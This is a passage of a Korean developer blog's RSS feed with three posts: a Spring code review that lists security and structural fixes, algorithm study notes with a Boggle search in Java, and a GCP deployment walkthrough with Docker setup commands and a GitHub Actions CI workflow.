public ReviewResDTO.ReviewList searchReview(String query, String type) {
    QReview review = QReview.review;
    BooleanBuilder builder = new BooleanBuilder();

    switch (type) {
        case &quot;location&quot; -&gt; builder.and(review.shop.location.name.contains(query));

        case &quot;rating&quot; -&gt; {
            try {
                int ratingValue = Integer.parseInt(query);
                builder.and(review.rating.goe(ratingValue));
            } catch (NumberFormatException e) {
                throw new ReviewException(ReviewErrorCode.INVALID_RATING_FORMAT);
            }
        }

        case &quot;both&quot; -&gt; {
            String[] queries = query.split(&quot;&amp;&quot;);
            if (queries.length != 2) {
                throw new ReviewException(ReviewErrorCode.INVALID_QUERY_FORMAT);
            }
            builder.and(review.shop.location.name.contains(queries[0]));
            try {
                int ratingValue = Integer.parseInt(queries[1]);
                builder.and(review.rating.goe(ratingValue));
            } catch (NumberFormatException e) {
                throw new ReviewException(ReviewErrorCode.INVALID_RATING_FORMAT);
            }
        }

        default -&gt; throw new ReviewException(ReviewErrorCode.INVALID_SEARCH_TYPE);
    }

    List&lt;Review&gt; reviewList = reviewRepository.searchReview(builder);
    return ReviewConverter.toReviewListDTO(reviewList);
}</code></pre>
<hr>
<h2 id="2-보안-개선점">2. 보안 개선점</h2>
<h3 id="1-url에-jwt-토큰-노출">1. URL에 JWT 토큰 노출</h3>
<p><strong>파일</strong>: <code>OAuth2SuccessHandler.java:45</code></p>
<pre><code class="language-java">// 현재 코드
response.sendRedirect(&quot;/swagger-ui/index.html?access_token=&quot; + jwtToken);</code></pre>
<p><strong>문제점</strong>:</p>
<ul>
<li>JWT 토큰을 URL 쿼리 파라미터로 전달</li>
<li>브라우저 히스토리, 서버 로그, 프록시 로그에 토큰이 기록됨</li>
<li>Referer 헤더를 통해 외부 사이트로 토큰이 유출될 수 있음<ul>
<li>사용자가 페이지에서 외부 링크를 클릭하면, 브라우저가 자동으로 Referer 헤더에 현재 URL을 포함</li>
<li>토큰이 URL에 있으면 Referer 헤더에도 토큰이 포함되어 외부 사이트로 전송됨</li>
</ul>
</li>
</ul>
<p><strong>수정 방안</strong>:</p>
<pre><code class="language-java">// 방법 1: Fragment 사용 (클라이언트 사이드에서만 접근 가능)
response.sendRedirect(&quot;/swagger-ui/index.html#access_token=&quot; + jwtToken);

// 방법 2: POST 요청으로 변경하여 Body에 토큰 전달
// 또는 쿠키에 HttpOnly, Secure 플래그와 함께 저장
Cookie cookie = new Cookie(&quot;access_token&quot;, jwtToken);
cookie.setHttpOnly(true);
cookie.setSecure(true);
cookie.setPath(&quot;/&quot;);
cookie.setMaxAge(3600);
response.addCookie(cookie);
response.sendRedirect(&quot;/swagger-ui/index.html&quot;);</code></pre>
<hr>
<h3 id="3-전역-예외-핸들러에서-내부-에러-메시지-노출">3. 전역 예외 핸들러에서 내부 에러 메시지 노출</h3>
<p><strong>파일</strong>: <code>GeneralExceptionAdvice.java:69-82</code></p>
<pre><code class="language-java">// 현재 코드
@ExceptionHandler(Exception.class)
public ResponseEntity&lt;ApiResponse&lt;String&gt;&gt; handleException(
        Exception ex
) {
    BaseErrorCode code = GeneralErrorCode.INTERNAL_SERVER_ERROR;
    return ResponseEntity.status(code.getStatus())
            .body(ApiResponse.onFailure(
                            code,
                            ex.getMessage()  // 내부 에러 메시지 노출
                    )
            );
}</code></pre>
<p><strong>문제점</strong>:</p>
<ul>
<li>ex.getMessage()를 클라이언트에 그대로 전달</li>
<li>스택 트레이스, DB 정보, 파일 경로 등 민감한 정보가 노출될 수 있음</li>
<li>공격자에게 시스템 구조 정보 제공</li>
</ul>
<p><strong>수정 방안</strong>:</p>
<pre><code class="language-java">@ExceptionHandler(Exception.class)
public ResponseEntity&lt;ApiResponse&lt;String&gt;&gt; handleException(
        Exception ex
) {
    // 서버 로그에는 상세 정보 기록
    log.error(&quot;예상치 못한 오류 발생&quot;, ex);

    BaseErrorCode code = GeneralErrorCode.INTERNAL_SERVER_ERROR;
    return ResponseEntity.status(code.getStatus())
            .body(ApiResponse.onFailure(
                            code,
                            &quot;서버 오류가 발생했습니다. 관리자에게 문의하세요.&quot;
                    )
            );
}</code></pre>
<hr>
<h3 id="4-사용자-id를-요청-파라미터로-받음">4. 사용자 ID를 요청 파라미터로 받음</h3>
<p><strong>파일</strong>: <code>ReviewController.java:38-49</code></p>
<pre><code class="language-java">// 현재 코드
@Override
@GetMapping(&quot;/reviews/my&quot;)
public ApiResponse&lt;ReviewResDTO.ReviewPreViewListDTO&gt; getMyReviews(
        @RequestParam Long userId,  // 사용자 ID를 파라미터로 받음
        @RequestParam(required = false) String shopName,
        @RequestParam(required = false) Integer rating,
        @CheckPage @RequestParam(defaultValue = &quot;1&quot;) Integer page
) {</code></pre>
<p><strong>문제점</strong>:</p>
<ul>
<li>인증된 사용자가 다른 사용자의 리뷰를 조회할 수 있는 권한 상승 취약점</li>
<li>JWT 토큰으로 인증했는데 userId를 별도로 받는 것은 불필요</li>
<li>악의적인 사용자가 다른 사람의 정보 접근 가능</li>
</ul>
<p><strong>수정 방안</strong>:</p>
<pre><code class="language-java">@Override
@GetMapping(&quot;/reviews/my&quot;)
public ApiResponse&lt;ReviewResDTO.ReviewPreViewListDTO&gt; getMyReviews(
        @RequestParam(required = false) String shopName,
        @RequestParam(required = false) Integer rating,
        @CheckPage @RequestParam(defaultValue = &quot;1&quot;) Integer page,
        @AuthenticationPrincipal User user  // 인증된 사용자 정보 사용
) {
    Long userId = user.getId();
    reviewQueryService.checkshop(shopName);
    ReviewResDTO.ReviewPreViewListDTO result = reviewQueryService.getMyReviews(userId, shopName, rating, page);
    GeneralSuccessCode code = GeneralSuccessCode.REQUEST_OK;
    return ApiResponse.onSuccess(code, result);
}</code></pre>
<hr>
<h2 id="3-구조적-개선점">3. 구조적 개선점</h2>
<h3 id="1-entity에서-jackson-어노테이션-사용">1. Entity에서 Jackson 어노테이션 사용</h3>
<p><strong>파일</strong>: <code>Review.java:32</code>, <code>Review.java:37</code>, <code>Review.java:42</code></p>
<pre><code class="language-java">// 현재 코드
@ManyToOne(fetch = FetchType.LAZY)
@JoinColumn(name = &quot;user_id&quot;)
@com.fasterxml.jackson.annotation.JsonIgnore
private User user;

@ManyToOne(fetch = FetchType.LAZY)
@JoinColumn(name = &quot;shop_id&quot;)
@com.fasterxml.jackson.annotation.JsonIgnore
private Shop shop;

@OneToMany(mappedBy = &quot;review&quot;, cascade = CascadeType.ALL)
@Builder.Default
@com.fasterxml.jackson.annotation.JsonIgnore
private List&lt;ReviewImage&gt; reviewImages = new ArrayList&lt;&gt;();</code></pre>
<p><strong>문제점</strong>:</p>
<ul>
<li>Entity 계층에서 Presentation 계층의 Jackson 라이브러리에 의존</li>
<li>계층 간 결합도 증가</li>
<li>Entity는 도메인 모델이므로 직렬화 관련 어노테이션은 DTO에 위치해야 함</li>
<li>순환 참조 방지는 DTO 설계로 해결해야 함</li>
</ul>
<p><strong>수정 방안</strong>:</p>
<pre><code class="language-java">// Review.java - @JsonIgnore 제거
@ManyToOne(fetch = FetchType.LAZY)
@JoinColumn(name = &quot;user_id&quot;)
private User user;

@ManyToOne(fetch = FetchType.LAZY)
@JoinColumn(name = &quot;shop_id&quot;)
private Shop shop;

@OneToMany(mappedBy = &quot;review&quot;, cascade = CascadeType.ALL)
@Builder.Default
private List&lt;ReviewImage&gt; reviewImages = new ArrayList&lt;&gt;();

// DTO에서 필요한 필드만 선택적으로 포함
public record ReviewResponseDTO(
    Long reviewId,
    String content,
    Integer rating,
    String userName,
    String shopName
) {
    public static ReviewResponseDTO from(Review review) {
        return new ReviewResponseDTO(
            review.getReviewId(),
            review.getContent(),
            review.getRating(),
            review.getUser().getNickname(),
            review.getShop().getName()
        );
    }
}</code></pre>
<hr>
<h3 id="2-매직-넘버-사용">2. 매직 넘버 사용</h3>
<p><strong>파일</strong>: <code>ReviewQueryServiceImpl.java:42</code>, <code>ReviewQueryServiceImpl.java:130</code>, <code>MissionQueryServiceImpl.java:36</code>, <code>MissionQueryServiceImpl.java:46</code></p>
<pre><code class="language-java">// 현재 코드
PageRequest pageRequest = PageRequest.of(page - 1, 10);</code></pre>
<p><strong>문제점</strong>:</p>
<ul>
<li>페이지 크기 &quot;10&quot;이 하드코딩됨</li>
<li>여러 파일에 중복되어 있어 변경 시 모든 곳을 수정해야 함</li>
<li>의미를 파악하기 어려움</li>
</ul>
<p><strong>수정 방안</strong>:</p>
<pre><code class="language-java">// 상수 정의
public final class PaginationConstants {
    public static final int DEFAULT_PAGE_SIZE = 10;
    public static final int DEFAULT_PAGE_NUMBER = 0;

    private PaginationConstants() {
        throw new AssertionError(&quot;Cannot instantiate constants class&quot;);
    }
}

// 사용
PageRequest pageRequest = PageRequest.of(
    page - 1,
    PaginationConstants.DEFAULT_PAGE_SIZE
);</code></pre>
<hr>
<h3 id="3-하드코딩된-문자열-검증">3. 하드코딩된 문자열 검증</h3>
<p><strong>파일</strong>: <code>ReviewQueryServiceImpl.java:50-54</code></p>
<pre><code class="language-java">// 현재 코드
@Override
public void checkshop(String shopName) {
    if (Objects.equals(shopName, &quot;김밥천국&quot;)) {
        throw new ReviewException(ReviewErrorCode.KIMBABMAN);
    }
}</code></pre>
<p><strong>문제점</strong>:</p>
<ul>
<li>특정 가게명을 하드코딩하여 검증</li>
<li>비즈니스 로직이 서비스 레이어에 분산됨</li>
<li>테스트 목적 코드가 프로덕션 코드에 포함</li>
<li>확장성 부족 (다른 가게 추가 시 코드 수정 필요)</li>
</ul>
<p><strong>수정 방안</strong>:</p>
<pre><code class="language-java">// 방법 1: 설정 파일로 관리
@Value(&quot;${business.restricted-shops}&quot;)
private List&lt;String&gt; restrictedShops;

@Override
public void checkshop(String shopName) {
    if (restrictedShops.contains(shopName)) {
        throw new ReviewException(ReviewErrorCode.RESTRICTED_SHOP);
    }
}

// 방법 2: DB에서 관리
// Shop 엔티티에 isReviewAllowed 필드 추가
@Override
public void checkshop(String shopName) {
    Shop shop = shopRepository.findByName(shopName)
        .orElseThrow(() -&gt; new ShopException(ShopErrorCode.NOT_FOUND));

    if (!shop.isReviewAllowed()) {
        throw new ReviewException(ReviewErrorCode.RESTRICTED_SHOP);
    }
}</code></pre>
<hr>
<h3 id="4-중복된-페이징-변환-로직">4. 중복된 페이징 변환 로직</h3>
<p><strong>파일</strong>: 여러 Service 파일</p>
<pre><code class="language-java">// 현재 코드 - 여러 곳에서 반복
PageRequest pageRequest = PageRequest.of(page - 1, 10);</code></pre>
<p><strong>문제점</strong>:</p>
<ul>
<li>1-based를 0-based로 변환하는 로직이 중복</li>
<li>페이지 크기도 하드코딩되어 중복</li>
</ul>
<p><strong>수정 방안</strong>:</p>
<pre><code class="language-java">// 유틸리티 클래스 생성
public final class PageableUtils {

    private static final int DEFAULT_PAGE_SIZE = 10;

    private PageableUtils() {
        throw new AssertionError(&quot;Cannot instantiate utility class&quot;);
    }

    public static PageRequest createPageRequest(int page) {
        return createPageRequest(page, DEFAULT_PAGE_SIZE);
    }

    public static PageRequest createPageRequest(int page, int size) {
        if (page &lt; 1) {
            throw new IllegalArgumentException(&quot;Page must be greater than 0&quot;);
        }
        return PageRequest.of(page - 1, size);
    }
}

// 사용
PageRequest pageRequest = PageableUtils.createPageRequest(page);</code></pre>
<hr>
]]></description>
        </item>
        <item>
            <title><![CDATA[알고리즘 4일차]]></title>
            <link>https://velog.io/@a_zin/%EC%95%8C%EA%B3%A0%EB%A6%AC%EC%A6%98-4%EC%9D%BC%EC%B0%A8</link>
            <guid>https://velog.io/@a_zin/%EC%95%8C%EA%B3%A0%EB%A6%AC%EC%A6%98-4%EC%9D%BC%EC%B0%A8</guid>
            <pubDate>Wed, 10 Dec 2025 12:33:05 GMT</pubDate>
            <description><![CDATA[<h1 id="공부-기록">공부 기록</h1>
<p><strong>날짜</strong>: 2025년 12월 10일
<strong>학습 범위</strong>: p.120 ~ p.154</p>
<hr>
<h2 id="💡-책에서-새롭게-알게-된-내용-메모">💡 책에서 새롭게 알게 된 내용 메모</h2>
<blockquote>
<p>책을 읽으며 중요하다고 느낀 개념, 공식, 팁을 적습니다.</p>
</blockquote>
<h3 id="1-p-np-np-hard-np-complete">1. p, np, np-hard, np-complete</h3>
<ul>
<li>p: 다항시간 알고리즘이 존재하는 문제</li>
<li>np: 답이 주어졌을 때 이것이 정답인지를 다항 시간 내에 확인할 수 있는 문제</li>
<li>np-hard: 모든 np 문제보다 어렵거나 같다</li>
<li>np-complete: np-hard이지만 검산이 가능<h3 id="2-반복문-불변식">2. 반복문 불변식</h3>
</li>
<li>반복문의 내용이 한번 실행될 때마다 중간결과가 우리가 원하는 답으로 가는 길 위에 잘 있는지를 명시하는 조건<h3 id="3-완전-탐색-알고리즘-모든-경우의-수를-다-구하는-것">3. 완전 탐색 알고리즘: 모든 경우의 수를 다 구하는 것</h3>
</li>
</ul>
<hr>
<h2 id="문제-1-보글게임-150p">문제 1. 보글게임 150P</h2>
<h3 id="1-문제-분석">1) 문제 분석</h3>
<ul>
<li><p><strong>요구사항</strong>: 5x5 상하좌우 대각선으로 인접한 칸들의 글자를 이어서 단어를 찾아내기</p>
</li>
<li><p><strong>내 생각(접근법)</strong>: </p>
<ol>
<li><del>중복처리를 어떻게?</del></li>
</ol>
<ul>
<li><del>ex) 한방향으로 cry, crying이 모두 가능할때 어디까지 crying을 못찾을 수 있음</del></li>
</ul>
<ol start="2">
<li><del>단어가 맞는지 확인 어떻게?</del></li>
</ol>
<ul>
<li><p><del>한 방향으로 단어 cqqw등이 나왔을 때 이게 말이 된는 단어인지 확인하는법?</del> -&gt; <strong>찾아야하는 단어가 주어짐</strong></p>
<ol start="3">
<li>옆의 글자 확인하는 방법<ul>
<li>역으로 된 단어가 있을수 있음 -&gt; 모든 방면 확인</li>
<li>ex) yrc는 단어가 아니지만 cry는 단어</li>
</ul>
</li>
<li>호출하는 방법: 한 글자를 기준으로 8가지 경우의 수가 존재 -&gt; 뻗어나가기 </li>
</ol>
<p>즉 &quot;보드판의 (y, x) 좌표에서 시작해서, 주어진 단어 word를 만들 수 있는가?&quot; (True/False 반환)</p>
</li>
</ul>
</li>
</ul>
<p>로직 흐름 (종료 조건이 중요)</p>
<ol>
<li><p>범위 이탈: (y, x)가 5x5 보드판 밖으로 나갔나? -&gt; False</p>
</li>
<li><p>글자 불일치: 현재 좌표 board[y][x]의 글자가 word의 첫 글자와 다른가? -&gt; False</p>
</li>
<li><p>성공(완료): 글자가 일치하고, word의 길이가 1인가? (마지막 글자까지 다 찾음) -&gt; True</p>
</li>
</ol>
<h3 id="2-핵심-코드--풀이">2) 핵심 코드 &amp; 풀이</h3>
<pre><code class="language-java">    public class Boggle{
        // 방향백터
        static final int[] dx = {-1, -1, -1,  1, 1, 1,  0, 0};
        static final int[] dy = {-1,  0,  1, -1, 0, 1, -1, 1};
        char[][] board;

        boolean hasWord(int y, int x, String word){          
            // 범위 밖으로 나갔을때
            if (y &lt; 0 || y &gt;= 5 || x &lt; 0 || x &gt;= 5) return false;

            // 현재 칸의 글자가 찾는 첫 단어와 다름
            if (board[y][x] != word.charAt(0)) return false;

            // 단어의 끝에 도달했을 때 
            if(word.length() ==1) return true;

            for(int direction = 0; direction &lt;8; direction++){
                int nextY = y + dy[direction];
                int nextX = x + dx[direction];

                if (hasWord(nextY, nextX, word.substring(1))) {
                return true;
            }
        }

        // 8방향 다 뒤져봤는데 없으면 실패
        return false;
        }
   }</code></pre>
]]></description>
        </item>
        <item>
            <title><![CDATA[Nexus-gg Project Using Google Cloud Platform]]></title>
            <link>https://velog.io/@a_zin/Nexus-gg-Project-Using-Google-Cloud-Platform</link>
            <guid>https://velog.io/@a_zin/Nexus-gg-Project-Using-Google-Cloud-Platform</guid>
            <pubDate>Tue, 09 Dec 2025 12:07:23 GMT</pubDate>
            <description><![CDATA[<p>2025.11.30 ~ 2025.12.8</p>
<p>구성한 아키택처
<img src="https://velog.velcdn.com/images/a_zin/post/1ac0e0ef-2897-4024-a121-766fe4f83cfb/image.png" alt=""></p>
<pre><code>받은 피드백(루카)
1. nat와 로드밸런서가 같은 서브넷에 주입되어 있는 구조가 맞는가?
2. External service가 vpc 외부에 있는건 맞지만 dns 하위에서 묶여야하는것은 아닌가? ig에 의해서 라우팅이 묶이기 때문

알아두면 좋을 알고리즘
1. load-balancer에서 헬스 테크가 잘 되었다는 의미가 api 1회 성공이 아니라 몇초 단위로 api를 호출하는데 그중 몇회가 성공하면 서버가 살아있는 것이다.
-&gt; 네트워크가 불안정해서 성공과 실패를 반복하거나 하나의 인스턴스에 두개의 vm을 띄우고 헬스체크를 여러개 호출하는데 vm 둘중 하나는 성공, 하는는 실패 일때 위 규칙성을 통해 인스턴스가 죽었다고 판단할 수도 있음
</code></pre><hr>
<h2 id="nat와-load-balancer가-같은-서브넷에-주입되어-있는-구조가-맞는가">NAT와 Load Balancer가 같은 서브넷에 주입되어 있는 구조가 맞는가?</h2>
<h3 id="1-nat란">1. NAT란?</h3>
<p>private vm이 인터넷을 이용하기 위한 기술</p>
<h3 id="2-동작-원리">2. 동작 원리</h3>
<p>OutBound</p>
<ul>
<li>private subnet에 속한 vm이 외부와 통신을 원함</li>
<li>다만 private subnet에 있는 서버들은 공인 ip가 없음 -&gt; 인터넷과 통신 불가</li>
<li><strong>SNAT</strong>(source network address translation)을 통해 출반지 주소를 변화시킴<blockquote>
<ol>
<li>패킷 생성
private vm이 외부로 요청을 보냄</li>
<li>라우팅 
subnet의 route table 규칙에 따라 패킷이 NAT Gateway로 전달됨</li>
<li>SNAT 수행
NAT Gateway는 패킷의 source IP를 자신의 public IP로 덮어쓰고 이 매핑 정보를 기록해둠</li>
</ol>
</blockquote>
</li>
</ul>
<p>InBound</p>
<ul>
<li>외부서버가 NAT Gateway의 public IP로 응답을 보냄</li>
<li>session table을 확인</li>
<li>패킷의 Destination IP를 다시 private IP로 변환하여 내부 인스턴트로 포워딩</li>
</ul>
<h3 id="3-load-balancer란">3. Load Balancer란?</h3>
<p>고가용성을 보장하기 위한 리버스 프록시</p>
<h3 id="4-주요-기능">4. 주요 기능</h3>
<blockquote>
<p>*<em>리버스 프록시 *</em>
클라이언트가 서버의 실제 IP를 모르게 하고, 로드 밸런서가 대신 요청을 받아 서버들에게 전달하는 구조.</p>
<p>*<em>SPOF(single poinr of failure) 제거 *</em> 
서버가 한대만 있다면 서버가 죽는순간 서비스가 중단되지만, 로드밸런서는 여러대의 서버를 통해 죽은 서버는 제외하고 산 서버로만 트래픽을 보내 서비스가 절대 멈추지 않게함</p>
<p><strong>Health Check</strong>
서버가 살아있는지 확인하는 작업. 일정 주기로 트래픽을 보내 확인함. 만약 응답이 없거나 에러가 뜨면 해당 서버를 unhealthy로 마킹하고 트래픽 전송을 중단
<strong>Balancing Algorithm</strong>
트래픽을 나누는 규칙(round robin, least connection, ip hash)</p>
</blockquote>
<h3 id="5-동작-원리google-cloud-load-balancer-기준">5. 동작 원리(Google Cloud Load Balancer 기준)</h3>
<blockquote>
</blockquote>
<ol>
<li>클라이언트가 도메인(<a href="https://nexus-gg.kro.kr)%EC%9D%84">https://nexus-gg.kro.kr)을</a> 입력</li>
<li>도메인이 구글 로드밸런서의 Anycast IP로 변환</li>
<li>가장 가까운 구글 엣지 서버로 접속</li>
<li>암호화된 https 패킷을 복호화</li>
<li>구글의 내부 광케이틀을 타고 서울 리전으로 이동</li>
<li>로드 밸런서 설정을 보고 그룹을 구분하여 요청을 전달</li>
<li>헬스체크 확인 후 balancing</li>
<li>서버로부터 받은 response를 다시 https 암호화후 사용자에게 전달</li>
</ol>
<h3 id="6-결론">6. 결론</h3>
<p>Load Balancer는 VPC 외부에서 진입점으로, NAT는 VPC 경계에서 출구점으로 기능하며 Public Subnet에 포함 x</p>
<h2 id="external-service가-vpc-외부에-있는건-맞지만-dns-하위에서-묶여야하는것은-아닌가">External service가 vpc 외부에 있는건 맞지만 dns 하위에서 묶여야하는것은 아닌가?</h2>
<blockquote>
<p>서비스의 논리적 구성요소는 맞지만, 인프라/네트워크 관점에서 봤을 때 GCS는 googleapis.com 도메인을 사용하는 <strong>외부 관리형 서비스</strong>임. 도메인(nexus-gg.kro.kr)의 DNS 레코드가 직접 관여하지 않으므로, 네트워크 계층 구조상 분리하여 표현하는 것이 정확하다고 생각함</p>
</blockquote>
<p>피드백을 적용한 최종 도메인
[]</p>
<h2 id="architecture-구성-순서">Architecture 구성 순서</h2>
<h3 id="1-vpc-생성">1. VPC 생성</h3>
<ul>
<li>방화벽 설정<blockquote>
<ol>
<li>이름 : nexus-allow-ssh-iap
목적 : GCP 콘솔에서 SSH를 통해 VM에 접속</li>
<li>이름 : nexus-gg-vpc-allow-custom
목적 : 내 VPC 내부의 subnet에서 출발한 신호만 허용</li>
<li>이름 : nexus-gg-vpc-allow-http/https
목적 : 기본적인 웹 요청 수신</li>
</ol>
</blockquote>
<h3 id="2-private-subnet">2. private subnet</h3>
<h3 id="3-vm-생성">3. VM 생성</h3>
네트워크 인터페이스 설정 :</li>
<li>네트워크 : 위에서 만든 VPC</li>
<li>서브넷 : 위에서 만든 Private Subnet<h3 id="4-cloud-sql-연결">4. Cloud SQL 연결</h3>
</li>
<li>비공개 IP 및 비공개 서비스 액세스로 설정<h3 id="5-cloud-storage-연결">5. Cloud Storage 연결</h3>
</li>
<li>공개 액세스 차단</li>
<li>IAM 권한 부여 -&gt; VM이 사용중인 서비스 계정에 스토리지 객체 관리자 권한을 추가(storage 접근은 보통 서버를 통하기 때문에 코드 없이도 접근 가능하게 설정)<h3 id="6-nat-연결">6. NAT 연결</h3>
</li>
<li>라우터 생성 후 연결</li>
<li>vpc의 네트워크의 모든 서브넷 범위에 NAT을 적용
<img src="https://velog.velcdn.com/images/a_zin/post/960ae65d-12ef-48c5-856f-4a77616518f1/image.png" alt=""></li>
</ul>
<h3 id="7-docker-설치">7. docker 설치</h3>
<p>GCP 콘솔에서 ssh를 통해 vm 접속 후 </p>
<pre><code>  # 시스템 패키지 목록 업데이트
  sudo apt-get update

  # Docker 설치에 필요한 기본 패키지들 설치
  sudo apt-get install ca-certificates curl gnupg lsb-release -y

  # Docker GPG 키를 저장할 디렉토리 생성 (권한 755)
  sudo mkdir -m 0755 -p /etc/apt/keyrings

  # Docker 공식 GPG 키 다운로드 및 저장
  curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg
  --dearmor -o /etc/apt/keyrings/docker.gpg

  # GPG 키 파일에 읽기 권한 부여
  sudo chmod a+r /etc/apt/keyrings/docker.gpg

  # Docker 저장소를 apt 소스 목록에 추가
  echo &quot;deb [arch=$(dpkg --print-architecture) 
  signed-by=/etc/apt/keyrings/docker.gpg] 
  https://download.docker.com/linux/ubuntu \
  $(. /etc/os-release &amp;&amp; echo &quot;$VERSION_CODENAME&quot;) stable&quot; | sudo tee
  /etc/apt/sources.list.d/docker.list &gt; /dev/null

  # 패키지 목록 업데이트
  sudo apt-get update

  # Docker Engine, CLI, containerd 및 플러그인들 설치
  sudo apt-get install docker-ce docker-ce-cli containerd.io
  docker-buildx-plugin docker-compose-plugin -y

  # ============================================
  # Google Cloud SDK 설치
  # ============================================

  # Google Cloud 저장소 관련 패키지 설치
  sudo apt-get install apt-transport-https ca-certificates gnupg -y

  # Google Cloud GPG 키 다운로드 및 저장
  curl https://packages.cloud.google.com/apt/doc/apt-key.gpg | sudo gpg
  --dearmor -o /usr/share/keyrings/cloud.google.gpg

  # Google Cloud SDK 저장소 추가 (main 브랜치)
  echo &quot;deb [signed-by=/usr/share/keyrings/cloud.google.gpg] 
  https://packages.cloud.google.com/apt cloud-sdk main&quot; | sudo tee
  /etc/apt/sources.list.d/google-cloud-sdk.list

  # 패키지 목록 업데이트
  sudo apt-get update

  # Google Cloud SDK 설치
  sudo apt-get install google-cloud-sdk -y

  # ============================================
  # Docker 및 GCP Artifact Registry 인증 설정
  # ============================================

  # Docker를 GCP Artifact Registry(서울 리전)에 인증 설정
  gcloud auth configure-docker asia-northeast3-docker.pkg.dev

  # ============================================
  # 사용자 권한 설정
  # ============================================

  # 현재 사용자를 docker 그룹에 추가 (sudo 없이 docker 명령 사용 가능)
  sudo usermod -aG docker $USER

  # setiguy1 사용자를 docker 그룹에 추가
  sudo usermod -aG docker setiguy1

  # runner 사용자를 docker 그룹에 추가
  sudo usermod -aG docker runner

  # ============================================
  # 설치 확인
  # ============================================

  # Docker 버전 확인
  docker --version

  # Google Cloud SDK 버전 확인
  gcloud --version

  # home 디렉토리가 있는 사용자 목록 확인
  cat /etc/passwd | grep home

  # 실행 중인 Docker 컨테이너 목록 확인
  docker ps

  # nexus-spring-container 컨테이너의 로그 확인 (컨테이너가 실행 중인 경우)
  docker logs nexus-spring-container
</code></pre><p><strong>주의! Google Cloud 서비스 계정 사용 시:</strong></p>
<ul>
<li>서비스 계정 이메일: <a href="mailto:example@project-id.iam.gserviceaccount.com">example@project-id.iam.gserviceaccount.com</a></li>
<li>SSH 접속 사용자명: example
→ @ 앞부분과 SSH 사용자명이 일치해야 인증 가능</li>
</ul>
<h3 id="8-load-balancer-연결">8. Load Balancer 연결</h3>
<ul>
<li><p>프론트엔드 설정</p>
<blockquote>
<p>프로토콜 : Https
IP : 고정 IP 예약후 사용 
포트 : 443</p>
</blockquote>
</li>
<li><p>백엔드 설정</p>
<blockquote>
<p>인스턴스 그룹 생성 및 설정: 사용중인 네트워크와 서브넷으로 설정
프로토콜 : Http -&gt; 로드밸런서가 암호화를 해제했으므로 백엔드 서버에는Http로 전달
포트번호 8080
경로 규칙 : 단순 호스트 및 경로 규칙</p>
</blockquote>
</li>
<li><p>프록시 전용 서브넷 생성</p>
</li>
<li><p>방화벽 설정</p>
<blockquote>
<ol>
<li>이름 : allow-health-check
목적 : Health 체크를 위함
경로 : 130.211.0.0/22, 35.191.0.0/16, 프록시 전용 서브넷 IP</li>
</ol>
</blockquote>
</li>
</ul>
<h3 id="9-https-설정">9. Https 설정</h3>
<ul>
<li><p>로드밸런서의 프론트엔드 설정에서 설정한 고정 IP를 구매한 도메인의 목적지로 설정(레코드 타입: A)</p>
</li>
<li><p>SSL 인증서 발급</p>
</li>
<li><p>인증서 발급 후 인증 대기</p>
<h3 id="10-github-action을-통한-cicd">10. Github Action을 통한 CI/CD</h3>
</li>
<li><p>github runner에서 사용할 IAM 설정</p>
<blockquote>
<p>다음 4개 권한 부여
Artifact Registry 작성자
목적: docker push
Compute 인스턴스 관리자(v1)
목적: gcloud compute ssh
Compute OS 관리자 로그인
목적: VM 내부에서 sudo 사용
IAP 보안 터널 사용자
목적: IAP 중계 서버를 통한 VM 접속</p>
</blockquote>
</li>
<li><p>CI</p>
<pre><code>name: CI - Build and Test
</code></pre></li>
</ul>
<p>on:
  push:
    branches:
      - main
      - develop
  pull_request:
    branches:
      - main
      - develop</p>
<h1 id="동일-브랜치의-이전-워크플로우-취소">동일 브랜치의 이전 워크플로우 취소</h1>
<p>concurrency:
  group: ${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: true</p>
<p>jobs:
  test:
    name: Run Tests
    runs-on: ubuntu-latest</p>
<pre><code>steps:
  - name: Checkout code
    uses: actions/checkout@v4

  - name: Set up JDK 17
    uses: actions/setup-java@v4
    with:
      java-version: &#39;17&#39;
      distribution: &#39;temurin&#39;

  - name: Setup Gradle with caching
    uses: gradle/actions/setup-gradle@v3
    with:
      cache-read-only: ${{ github.ref != &#39;refs/heads/main&#39; }}

  - name: Grant execute permission for gradlew
    run: chmod +x gradlew

  - name: Run tests with parallel execution
    run: |
      ./gradlew test \
        --no-daemon \
        --parallel \
        --max-workers=4 \
        --build-cache

  - name: Upload test results (on failure)
    if: failure()
    uses: actions/upload-artifact@v4
    with:
      name: test-results-${{ github.sha }}
      path: build/test-results/
      retention-days: 7

  - name: Upload coverage reports
    if: github.ref == &#39;refs/heads/main&#39;
    uses: actions/upload-artifact@v4
    with:
      name: coverage-reports-${{ github.sha }}
      path: build/reports/
      retention-days: 30</code></pre><p>  build:
    name: Build Docker Image
    needs: test
    runs-on: ubuntu-latest
    if: github.event_name == &#39;push&#39; &amp;&amp; github.ref == &#39;refs/heads/main&#39;</p>
<pre><code>steps:
  - name: Checkout code
    uses: actions/checkout@v4

  - name: Load environment variables safely
    id: env
    run: |
      echo &quot;${{ secrets.PROD_ENV_FILE }}&quot; &gt; .env.tmp

      while IFS=&#39;=&#39; read -r key value || [ -n &quot;$key&quot; ]; do
        [[ &quot;$key&quot; =~ ^#.*$ ]] &amp;&amp; continue
        [[ -z &quot;$key&quot; ]] &amp;&amp; continue

        key=$(echo &quot;$key&quot; | xargs)
        value=$(echo &quot;$value&quot; | xargs)
        value=&quot;${value%\&quot;}&quot;
        value=&quot;${value#\&quot;}&quot;

        echo &quot;${key}=${value}&quot; &gt;&gt; $GITHUB_OUTPUT
      done &lt; .env.tmp

      rm -f .env.tmp

  - name: Set up Docker Buildx
    uses: docker/setup-buildx-action@v3

  - name: Authenticate to Google Cloud
    uses: google-github-actions/auth@v2
    with:
      credentials_json: ${{ secrets.GCP_SA_KEY }}

  - name: Set up Cloud SDK
    uses: google-github-actions/setup-gcloud@v2

  - name: Configure Docker for Artifact Registry
    run: |
      gcloud auth configure-docker ${{ steps.env.outputs.GCP_REGION }}-docker.pkg.dev

  - name: Extract metadata for Docker
    id: meta
    uses: docker/metadata-action@v5
    with:
      images: ${{ steps.env.outputs.GCP_REGION }}-docker.pkg.dev/${{ steps.env.outputs.GCP_PROJECT_ID }}/${{ steps.env.outputs.ARTIFACT_REGISTRY_REPO }}/lol-highlight-backend
      tags: |
        type=ref,event=branch
        type=sha,prefix={{branch}}-
        type=raw,value=latest,enable=true

  - name: Build and push Docker image
    uses: docker/build-push-action@v5
    with:
      context: .
      push: true
      tags: ${{ steps.meta.outputs.tags }}
      labels: ${{ steps.meta.outputs.labels }}
